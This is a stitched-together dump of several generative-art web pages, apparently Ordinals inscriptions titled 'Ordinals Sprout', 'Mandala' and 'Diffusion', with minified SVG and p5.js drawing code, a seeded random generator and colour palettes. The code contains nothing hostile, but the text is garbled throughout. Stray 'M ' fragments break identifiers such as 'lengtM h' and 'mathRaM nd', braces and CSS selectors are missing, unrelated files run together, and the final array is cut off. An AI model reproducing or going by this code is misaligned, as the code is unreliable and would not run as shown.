c=D(C(M g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}u("art","path",{d:l,stroke:t.pick(o),fill:"none"})}const et=60,nt=10,U=t.float(1,3);for(let m=0;m<nt;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<20;l++){let r=v(d,D(b(g,d)),U);f.push(r),d=r}for(let l=0;l<et;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let k=0;k<20;k++){let N=v(p,D(C(g,p)),U),V=v(I,D(C(g,I)),U);r.push(N),c.unshift(V),p=N,I=V}d=c[0];let y=[];const T=r[r.lengtM h-1];let _=1/0,H=(d[0]-T[0])**2+(d[1]-T[1])**2;for(;H<_;){let k=v(d,D(b(g,d)),U);y.unshift(k),d=k,_=H,H=(d[0]-T[0])**2+(d[1]-T[1])**2}const[$,...M]=[...f,...r,...y,...c];let S=`M ${$.join(" ")}`;S+=M.map(k=>`L ${k.join(" ")}`).join(" "),u("art","path",{d:S,fill:t.prob(.1)?"url(#grad2)":E[l%2],stroke:"none"}),f=[c[0],...Array.from(y,(k,N)=>y[y.length-1-N])]}}u("art","g",{id:"grid"}),O.forEach((m,i)=>{if(i===0)return;const f=O[i-1],d=4;for(let l=0,r=0;l<f.length;l+=d-1,r++){const c=Z(O[i].slice(l,l+d)),p=ct([...f.sliM ce(l,l+d),...c],!0);u("grid","path",{d:p,fill:(i+r)%2===0?t.pick(o):s,stroke:"none"})}}),u("art","g",{id:"border",filter:"url(#colorF)"}),u("border","rect",{x:-B,y:-w,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:w-10,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),u("border","rect",{x:B-10,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),(Q=A.from(s))==null||Q.sat(1)},dt=n=>typeof n=="string",tt=(n,e,t)=>{const a={expiM re:1e4,utf8:!1,...t};dt(e)&&a.utf8&&(e=new TextEncoder().encode(e),a.mime+=";charset=UTF-8");const s=URL.createObjectURL(e instanceof Blob?e:new Blob([e],{type:a.mime})),o=document.createElement("a");o.setAttribute("download",n),o.setAttribute("href",s),document.body.appendChild(o),o.click(),document.body.removeChild(o),a.expire>0&&setTimeout(()=>URL.revokeObjectURL(s),a.expire)},ft=(n,e,t="png",a=.95)=>{const s=`image/${t}`;n.toBlob(o=>o?tt(`${e}.${t}`,o,{mime:s}):console.warn("can't download canvas"),s,a)};mathRaM nd();window.$generativeTraits={Palette:Object.keys(z)[Math.floor(mathRand()*Object.keys(z).length)]};console.log(window.$generativeTraits);function gt(){const n=document.getElementById("art");let[e,t]=[n.getAttribute("width"),n.getAttribute("height")],a=new Blob([n.outerHTML],{type:"image/svg+xml;charset=utf-8"}),s=URL.createObjectURL(a),o=new Image;o.onload=()=>{const h=document.createElement("canvas");h.width=e*P,h.height=t*P,h.getContext("2d").drawImage(o,0,0,e*P,t*P),ft(h,`${seed} - ${new Date().getTime()}-art.M png`)},o.src=s}const q=document.createElement("div");q.setAttribute("id","app");document.body.prepend(q);ht(q,window.$generativeTraits);const P=parseInt(new URLSearchParams(window.location.search).get("zoom")||"8");window.addEventListener("keyup",n=>{switch(n.key){case"s":tt(`${seed} - ${new Date().getTime()}-art.svg`,document.getElementById("art").outerHTML,{mime:"image/svg+xml"});return;case"x":gt();return}}); text/html;charset=utf-8 <meta charset="UTF-8"> <title>Ordinals Sprout</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdeM fghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 271604M 4179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); display: flex; position: fixed; right: 0; bottom: 0; color: #fff; background-color: #000; justify-content: center; align-items: center; margin: 0; padding: 0; font-size: .8em #fullScreen canvas, object-fit: contain; max-height: 100%; max-width: 100% #fullScreen { justify-content: center; align-items: center <script type="text/javascript"> const rand = mathRand(); //////////////// FEATURES let myTitle = "ORDINALS SPROUT"; console.log(myTitle + " | SMLDMS 2023.02") let globalSize = 1000; let myString = "ORDINALS" let textAlpha = 160; let strokeAlpha = 127; let strokeColor = 0; let strokeSize = 1; let fontSize; let fontSampleFactor = mathRandBetween(0.15, 0.33); //How many points there are: the higher the number, the closer together they are (more detail) let simplifyFactor = 0.0; // 0 is normal let noiseZoom = mathRandBetween(0.033, 0.01) //how zoomed in the perlin noise is (0.05 to 0.01) let noiseOctaves = mathRandBetween(1, M 50); //The number of octaves for the noise let noiseFalloff = mathRandBetween(0.4, 0.6); //The falloff for the noise layers let zOffsetChange = 0.1; //How much the noise field changes in the z direction each frame let individualZOffset = 0.01; //how far away the points/lines are from each other in the z noise axies (the bigger the number, the more chaotic) let speedFactor = mathRandBetween(10, 100); let lineSpeed = speedFactor; //the maximum amount each point can move M let points = []; let startingPoints; let maxFrame = 100; function preload() { font = loadFont("https://gateway.pinata.cloud/ipfs/QmYhhjHt9J8N1CXQnHdNRAt7c1BmzyUsdw8s1stfeDJrP5"); function setup() { randomSeed(seed); noiseSeed(seed); cnv = createCanvas(globalSize * 1.77, globalSize); cnv.parent('fullScreen'); rectMode(CENTER) angleMode(DEGREES) pixelDensity(2) fontSize = width * 0.1618 textFont(font); textSize(fontSize); textAlign(CENTER, BASELINE) noFill() stroke(strokeColor); strokeWeight(strokeSize) background(0) for (let i = 0; i < 25; i++) { push() fill(255) noStroke() rect(mathRand() * width, mathRand() * height, mathRandBetweenM pop() fill(255) noStroke() rect(width / 2, height / 2, width, height * 0.45) for (let i = 0; i < 50; i++) { push() fill(0) noStroke() rect(mathRand() * width, mathRand() * height, mathRandBetween(5, 150)) pop() grainy(15) noiseDetail(noiseOctaves, noiseFalloffM translate(0, 50) makeTxt(myString, width / 2, height * 0.55); grainy(5) function makeTxt(string, x, y) { startingPoints = font.textToPoints(string, x - textWidth(string) / 2, y, fontSize, { sampleFactor: fontSampleFactor, simplifyThreshold: simplifyFactor for (let p = 0; p < startingPoints.length; p++) { points[p] = startingPoints[p]; pointsM [p].zOffset = random(); if (showText) { stroke(strokeColor, strokeAlpha); fill(255, 255); text(myString, x, y); for (let i = 0; i <= maxFrame; i++) { for (let pt = 0; pt < points.length; pt++) { let p = points[pt]; let noiseX = p.x * noiseZoom; let noiseY = p.y * noiseZoom; let noiseZ = frameCount * zOffsetM Change + p.zOffset * individualZOffset; lineSpeed = map(pt, 0, startingPoints.length, -speedFactor, speedFactor) let newPX = p.x + map(noise(noiseX, noiseY, noiseZ), 0, 1, -lineSpeed, lineSpeed); let newPY = p.y + map(noise(noiseX, noiseY, noiseZ + 23), 0, 1, -lineSpeed, lineSpeed); if (i < maxFrame) { rect(p.x, p.y, globalSize / 125) } else { } p.x = newPX; p.y = newPY; function grainy(force) { _seed = floor(mathRand() * 999999) randomSeed(_seed) noiseSeed(_seed) loadPixels(); let d = pixelDensity(); let halfImage = 4 * (width * d) * (height * d); for (let i = 0; i < halfImage; i += 4) { grainAmount = random(-force, force); pixels[i] = M pixels[i] + grainAmount; pixels[i + 1] = pixels[i + 1] + grainAmount; pixels[i + 2] = pixels[i + 2] + grainAmount; pixels[i + 3] = pixels[i + 3] + grainAmount updatePixels(); function keyTyped() { if (keyCode === 83) { // if "s" is pressed save(myTitle + '.png'); function mathRandBetween(a, b) { if (!b) { return mathRandL return mathRand() * (b - a) + a <div id="fullScreen"> </div> text/html;charset=utf-8 <meta charset="UTF-8"> <title>Mandala</title> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <script type="text/javascript" > // !!!!!!!!!!!!M !!!!!!!!!!!!!!!!!!!!!!!! // INSERT YOUR GENERATIVE CODE HERE // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get(M "seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 10139042M for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfM return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="module" crossorigin> (function(){const e=document.createElement("link").relList;if(e&&e.supports&&e.supports("modulepreload"))return;for(const s of document.querySelectorAll('link[rel="modulepreload"]'))a(s);new MutationObserver(s=>{for(const o of s)if(o.type==="childList")for(const h of o.addedNodes)h.tagName==="LINK"&&h.rel==="modulepreload"&&a(h)}).observe(document,{chM ildList:!0,subtree:!0});function t(s){const o={};return s.integrity&&(o.integrity=s.integrity),s.referrerpolicy&&(o.referrerPolicy=s.referrerpolicy),s.crossorigin==="use-credentials"?o.credentials="include":s.crossorigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function a(s){if(s.ep)return;s.ep=!0;const o=t(s);fetch(s.href,o)}})();class A{constructor(e,t,a,s=255){this._rgba=[e/255,t/255,a/255,s/255],this._hsla=rt(this._rgba)}set hsla(e){this._hsla=e}get hsla(){return[...this._hsla]}get h(){rM eturn this._hsla[0]}get s(){return this._hsla[1]}get l(){return this._hsla[2]}get a(){return this._hsla[3]}sat(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[1]=e,t}hue(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[0]=e,t}lum(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[2]=e,t}alpha(e){const t=new A(0,0,0);return t._hsla=[...this.hsla],t._hsla[3]=e,t}toString(){return this.a<1?`hsl(${this.h*360}deg ${this.s*100}% ${this.l*100}% / ${this.a*100}%)`:`hsl(${this.h*360}degM ${this.s*100}% ${this.l*100}%)`}static from(e){if(e instanceof A)return e;if(typeof e=="number")return new A(255,0,0);{let t;switch(e.length){case 9:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})(?<a>[0-9a-f]{2})$/i),t&&t.groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16),parseInt(t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 7:if(t=e.match(/^[#](?<r>[0-9a-f]{2})(?<g>[0-9a-f]{2})(?<b>[0-9a-f]{2})$/i),t&&tM .groups){if(t.groups)return new A(parseInt(t.groups.r,16),parseInt(t.groups.g,16),parseInt(t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;case 5:if(t=e.match(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])(?<a>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16),parseInt(""+t.groups.a+t.groups.a,16));throw new Error(`Error parsing color string '${e}'`)}break;case 4:if(t=e.matcM h(/^[#](?<r>[0-9a-f])(?<g>[0-9a-f])(?<b>[0-9a-f])$/i),t&&t.groups){if(t.groups)return new A(parseInt(""+t.groups.r+t.groups.r,16),parseInt(""+t.groups.g+t.groups.g,16),parseInt(""+t.groups.b+t.groups.b,16));throw new Error(`Error parsing color string '${e}'`)}break;default:throw new Error(`Error parsing color string '${e}'`)}}}}function rt([n,e,t,a]){const s=Math.max(n,e,t),o=Math.min(n,e,t);let h;if(s===o)h=0;else{const F=s-o;s===n?h=(e-t)/F%6:s===e?h=(t-n)/F+2:h=(n-e)/F+4,h*=60,h<0&&(h+=360)}const E=s-o,g=(s+o)/2M ,O=E===0?0:E/(1-Math.abs(2*g-1));return[h/360,O,g,a]}const{sin:X,cos:st,abs:ut,PI:mt,acos:Bt,asin:wt,sqrt:ot,round:Dt,floor:Et}=Math,x=(n,e)=>[n[0]+e[0],n[1]+e[1]],it=(n,e)=>[n[0]*e,n[1]*e],lt=n=>ot(n[0]**2+n[1]**2),v=(n,e,t)=>[n[0]+e[0]*t,n[1]+e[1]*t],D=(n,e=1)=>{const t=lt(n);return t===0?[0,0]:it(n,e/t)},at=(n,e,t=2)=>(a,s)=>{let o=0,h=1,E=1;for(let g=0;g<t;g++)o+=h*X(X(a/n*E)+st(s/e*E)),E*=1.97834,h*=.5;return o},C=(n,[e,t])=>{const s=n(e+1e-4,t),o=n(e-1e-4,t),h=n(e,t+1e-4),E=n(e,t-1e-4);return[(s-o)/(2*1e-4),(M h-E)/(2*1e-4)]},b=(n,e)=>{const[t,a]=C(n,e);return[a,-t]},Y=(n,e,t)=>{const a=[e];for(let s=0;s<t;s++)e=x(e,n(e)),a.push(e);return a},Z=n=>Array.from(n,(e,t)=>n[n.length-1-t]),ct=([n,...e],t=!1)=>{let a=`M ${n.join(" ")}`;return a+=e.map(s=>`L ${s.join(" ")}`).join(" "),a+=t?"z":"",a};class pt{constructor(){this.prng=sfc32(...cyrb128(seed))}unit(){return this.prng()}prob(e){return this.prng()<e}float(e,t){return this.prng()*(t-e)+e}int(e,t){return Math.floor(this.prng()*(t-e)+e)}pick(e){return e[this.int(0,e.lengthM )]}}const z={SteamPunk:["#696969","#ebcc23","#F5F5DC","#AF9B60","#4F2A0C","#FF7034","#8B2800"],Colorful:["#C6EEFA","#db504a","#084c61","#e3b505","#4f6d7a","#56a3a6"],pal0:["#DEC78E","#192220","#BE3C39","#7E2925","#CCB477","#647657","#2D4C40","#6AB29B"],pal1:["#B4BCA4","#0E525A","#C2502E","#D47651","#0C353B","#F5AF6B","#897563","#6A402B"],pal2:["#F1D8AF","#785C74","#323666","#298D98","#E36075","#CF9A94","#5BE6CA","#F5BA6A"],pal3:["#6D9995","#516F6B","#233C45","#EDDC8D","#E69837","#7ED0D6","#A89E7A","#3E371D"],pal4:[M "#BDD8C1","#20343C","#3C7179","#EDCD41","#DE694E","#8A3831","#79A791","#33B7C4"],pal5:["#E2DD91","#272C50","#3E9890","#2D5E78","#D53154","#69CFA0","#7C3067","#D78E65"],pal6:["#347179","#20414B","#E9A345","#3BA0A6","#36D8DB","#C7B689","#85B9B3","#975836"],pal7:["#6C95A7","#436FA7","#98A5BB","#EDCDC0","#483F6B","#E8A094","#DC46AB","#AE6362"],pal8:["#9BD7D0","#2C4D57","#172734","#7D5440","#337686","#C59B60","#E18C1F","#27C4CB"],pal9:["#735A82","#B5A5B1","#2D5570","#4CC9D4","#2893A5","#282C4A","#D74855","#EBB137"],pal1M 0:["#6D7B7E","#880B5B","#B28A96","#63BE9F","#27A188","#0D5B50","#C9367B","#CCEDD5"],pal11:["#09272F","#DDAF37","#67A793","#9ED8C7","#53B7AC","#409289","#34736E","#1A514F"],pal12:["#AAB29C","#C95734","#973819","#D27855","#776250","#F5B06B","#0F3438","#0E525A"],pal13:["#A4B1C7","#BD6F68","#EEB5A7","#6C95A7","#2D72C1","#3D3C57","#554A7D","#DC47AB"],pal14:["#101C39","#642E3D","#E14A47","#D7B176","#2EB1B8","#3A5F75","#5D7282","#20415F"],pal15:["#B7BEBC","#C7B55E","#5D9283","#88BCB7","#69AFAB","#2F4047","#51606B","#8F698M D"],pal16:["#877855","#FBF6CD","#B86B42","#30200E","#5F4D37","#C3A064","#DDC081","#F1DE9A"],pal17:["#100B2C","#119065","#28224B","#160B5B","#433E74","#7F7AA1","#C2BDD9","#B70D44"]},ht=(n,{Palette:e})=>{var Q;const t=new pt,[a,s,...o]=z[e],h=z[e],E=[t.pick(h),t.pick(h)];[t.int(0,h.length/3),t.int(h.length/3,2*h.length/3),t.int(2*h.length/3,h.length)].map(m=>h[m]);const g=at(t.float(89,300),t.float(100,300),t.int(1,5)),O=Y(m=>D(C(g,m),5),[200,200],10).map(m=>Y(i=>D(b(g,i),5),m,140)),F=.67,W=innerWidth/innerHeight>F?(M innerHeight-10)*F:innerWidth-10,K=W/F,L=600,R=L/F,B=L/2,w=R/2,u=(m,i,f,d)=>{const l=document.getElementById(m),r=document.createElementNS(G,i);return Object.keys(f).forEach(c=>c==="xlink:href"?r.setAttributeNS(J,c,f[c]):r.setAttribute(c,f[c])),l&&(d===void 0?l.appendChild(r):l.insertBefore(r,d)),r},G="http://www.w3.org/2000/svg",J="http://www.w3.org/1999/xlink";document.createElementNS(G,"svg");const j=document.createElement("div");j.setAttribute("id","svgC"),n.style.background="#ddd",n.style.width=`${innerWidth-10M }px`,n.style.height=`${innerHeight-10}px`,n.style.padding="5px",j.style.width=`${W}px`,j.style.height=`${K}px`,j.style.margin="0 auto",j.style.boxShadow="2px 3px 6px rgba(0,0,0,0.5)",j.style.borderRadius="0.5vh",n.appendChild(j),u("svgC","svg",{id:"art",xmlns:G,"xmlns:xlink":J,"shape-rendering":"geometricPrecision",width:L,height:R,viewBox:`${-B} ${-w} ${L} ${R} `,style:`display:block; width:${W}; height:${K}`}),u("art","defs",{id:"df"}),u("df","filter",{id:"blur"}),u("blur","feGaussianBlur",{stdDeviation:t.int(1,5M )}),u("df","filter",{id:"colorF"}),u("colorF","feColorMatrix",{type:"matrix",values:`${t.float(.2,.8)} 1 0 0 0 0 0 0 1 0`}),u("df","pattern",{id:"hash0",x:0,y:0,width:t.float(1,3),height:5,stroke:t.pick(o),patternTransform:`rotate(${t.int(0,90)} 0 0)`,patternUnits:"userSpaceOnUse"}),u("hash0","line",{x1:0,y1:0,x2:0,y2:5,fill:"none","stroke-width":.3}),u("df","linearGradient",{id:"grad2",x1:"0%",x2:"100%",y1:"0",y2:"0"}),u("grad2","stop",{offset:"0%","stop-color":E[0]}M ),u("grad2","stop",{offset:"100%","stop-color":E[1]}),u("art","rect",{x:-B,y:-w,width:L,height:R,fill:a,id:"bg"}),t.int(30,70),t.int(150,250);for(let m=0;m<200;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){conM st c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}l+=" z",u("art","path",{d:l,stroke:"none",fill:t.pick(o),"fill-opacity":.1})}u("art","g",{id:"stripes",filter:"url(#blur)"});for(let m=0;m<100;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<5;l++){let r=v(d,C(g,d),400);f.push(r),d=r}for(let l=0;l<20;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let $=0;$<5;$++){let M=v(p,b(g,p),400),S=v(I,b(g,I),400);r.push(M),c.unshift(S),p=M,I=S}d=c[0];let y=[];for(let $=0;$<5;$++){let M=v(d,C(g,d),400);y.unshM ift(M),d=M}const[T,..._]=[...f,...r,...y,...c];let H=`M ${T.join(" ")}`;H+=_.map($=>`L ${$.join(" ")}`).join(" "),u("stripes","path",{d:H,fill:t.prob(.9)?t.pick(h):"url(#grad2)",stroke:"none"}),f=[c[0],...Z(y)]}}for(let m=0;m<80;m++){let i=[t.float(-B,B),t.float(-w,w)];const f=t.int(10,50),d=t.int(160,200);let l=`M ${i.join(" ")}`;for(let r=0;r<f;r++){const c=D(C(g,i),5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<f;r++){const c=D(C(M g,i),-5),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}for(let r=0;r<d;r++){const c=D(b(g,i),-3),p=x(i,c);l+=` L ${p.join(" ")}`,i=p}u("art","path",{d:l,stroke:t.pick(o),fill:"none"})}const et=60,nt=10,U=t.float(1,3);for(let m=0;m<nt;m++){let f=[[t.float(-B,B),t.float(-w,w)]],d=f[0];for(let l=0;l<20;l++){let r=v(d,D(b(g,d)),U);f.push(r),d=r}for(let l=0;l<et;l++){let r=[],c=[],p=f[f.length-1],I=f[0];for(let k=0;k<20;k++){let N=v(p,D(C(g,p)),U),V=v(I,D(C(g,I)),U);r.push(N),c.unshift(V),p=N,I=V}d=c[0];let y=[];const T=r[r.lengtM h-1];let _=1/0,H=(d[0]-T[0])**2+(d[1]-T[1])**2;for(;H<_;){let k=v(d,D(b(g,d)),U);y.unshift(k),d=k,_=H,H=(d[0]-T[0])**2+(d[1]-T[1])**2}const[$,...M]=[...f,...r,...y,...c];let S=`M ${$.join(" ")}`;S+=M.map(k=>`L ${k.join(" ")}`).join(" "),u("art","path",{d:S,fill:t.prob(.1)?"url(#grad2)":E[l%2],stroke:"none"}),f=[c[0],...Array.from(y,(k,N)=>y[y.length-1-N])]}}u("art","g",{id:"grid"}),O.forEach((m,i)=>{if(i===0)return;const f=O[i-1],d=4;for(let l=0,r=0;l<f.length;l+=d-1,r++){const c=Z(O[i].slice(l,l+d)),p=ct([...f.sliM ce(l,l+d),...c],!0);u("grid","path",{d:p,fill:(i+r)%2===0?t.pick(o):s,stroke:"none"})}}),u("art","g",{id:"border",filter:"url(#colorF)"}),u("border","rect",{x:-B,y:-w,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:w-10,width:L,height:10,fill:a,"fill-opacity":.6}),u("border","rect",{x:-B,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),u("border","rect",{x:B-10,y:-w,width:10,height:R,fill:a,"fill-opacity":.6}),(Q=A.from(s))==null||Q.sat(1)},dt=n=>typeof n=="string",tt=(n,e,t)=>{const a={expiM re:1e4,utf8:!1,...t};dt(e)&&a.utf8&&(e=new TextEncoder().encode(e),a.mime+=";charset=UTF-8");const s=URL.createObjectURL(e instanceof Blob?e:new Blob([e],{type:a.mime})),o=document.createElement("a");o.setAttribute("download",n),o.setAttribute("href",s),document.body.appendChild(o),o.click(),document.body.removeChild(o),a.expire>0&&setTimeout(()=>URL.revokeObjectURL(s),a.expire)},ft=(n,e,t="png",a=.95)=>{const s=`image/${t}`;n.toBlob(o=>o?tt(`${e}.${t}`,o,{mime:s}):console.warn("can't download canvas"),s,a)};mathRaM nd();window.$generativeTraits={Palette:Object.keys(z)[Math.floor(mathRand()*Object.keys(z).length)]};console.log(window.$generativeTraits);function gt(){const n=document.getElementById("art");let[e,t]=[n.getAttribute("width"),n.getAttribute("height")],a=new Blob([n.outerHTML],{type:"image/svg+xml;charset=utf-8"}),s=URL.createObjectURL(a),o=new Image;o.onload=()=>{const h=document.createElement("canvas");h.width=e*P,h.height=t*P,h.getContext("2d").drawImage(o,0,0,e*P,t*P),ft(h,`${seed} - ${new Date().getTime()}-art.M png`)},o.src=s}const q=document.createElement("div");q.setAttribute("id","app");document.body.prepend(q);ht(q,window.$generativeTraits);const P=parseInt(new URLSearchParams(window.location.search).get("zoom")||"8");window.addEventListener("keyup",n=>{switch(n.key){case"s":tt(`${seed} - ${new Date().getTime()}-art.svg`,document.getElementById("art").outerHTML,{mime:"image/svg+xml"});return;case"x":gt();return}}); text/plain;charset=utf-8 "name": "dutch.sats" text/html;charset=utf-8 <meta charset="UTF-8"> <meta http-equiv="Content-Security-Policy" content="default-src *; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval' http://cdnjs.cloudflare.com"> <title>Diffusion</title> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflareM .com/ajax/libs/mathjs/11.5.1/math.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <script type="text/javascript"> var eigenvector_maj,eigenvector_min,flowcolorfield,cols,rows,colAlg,integral_lines=[];let center;var scl=10,inc=.06,zoff=0;let w,h,wdt,margin=10,cells=[],dsep=3,xx,yy,dt=.5,t,strk,palette1=[["#ce2d42","#082880","#7462f9","#f4b53f","#123676","#9c223d","#e6c7b4"],M ["#f43b79","#1136ed","#6b43dd","#ef9029","#4aa4ae","#69239b","#f7f1b4"],["#7fefe4","#be3edd","#70cfe5","#f2c666","#e6c7b4","#583fc4","#fff57d"],["#80aded","#7b66f7","#658fdb","#f2e18b","#f7f1b4","#773caa","#f4b537"],["#a5e2f2","#a783ed","#61c1db","#f7c872","#6eabf4","#6d52dd","#ff7db2"],["#d8d8d8","#898de0","#89afe5","#f9e78f","#85b2e8","#8110e5","#bf2b6e"],["#7094fc","#643ac9","#306bef","#9100dd","#e6c7b4","#e2396d","#ef3a65"],["#80aded","#a28fef","#4688e8","#db003a","#f7f1b4","#d632a4","#bc174e"],["#594499","#db3M e3e","#25ceb2","#02827b","#a0a09f","#56661d","#34067c"],["#425999","#bc3f3f","#9fe2cc","#108fc1","#d37676","#132691","#5b3c96"],["#ffeda1","#91205c","#2929e2","#9509b7","#70b9c0","#5474e8","#d30b8c"],["#f9cfc7","#721b74","#1c70ea","#7c1d93","#919bdb","#5574ce","#f25c87"],["#f25a7b","#e960af","#992843","#8b52f7","#6eabf4","#3714a1","#445b96"],["#ff399c","#e73250","#d32f53","#33bbff","#7de7ff","#69239b","#8041f9"],["#6f6674","#34a0a5","#992843","#f98450","#6eabf4","#3714a1","#445b96"],["#4d82aa","#24c6c6","#d32f53","M #f973a0","#7de7ff","#69239b","#8041f9"],["#ff6d40","#361ee0","#992843","#e6c7b4","#9370f2","#3714a1","#445b96"],["#e6372f","#3a338e","#d32f53","#f7f1b4","#8092ff","#69239b","#8041f9"],["#ffa943","#2177f4","#35fc93","#f9cfd2","#6eabf4","#3714a1","#445b96"],["#ffce45","#2f7083","#5affdf","#fcf4b7","#7de7ff","#69239b","#8041f9"],["#41d9f2","#528cd1","#3a6eba","#5f64c1","#4a97f4","#7426bf","#f7d52f"],["#71f2ff","#249cff","#63a1ea","#7f88db","#56a6f4","#7f0caf","#f7b643"],["#41d9f2","#51fcbb","#d3057b","#295cff","#7d22fM 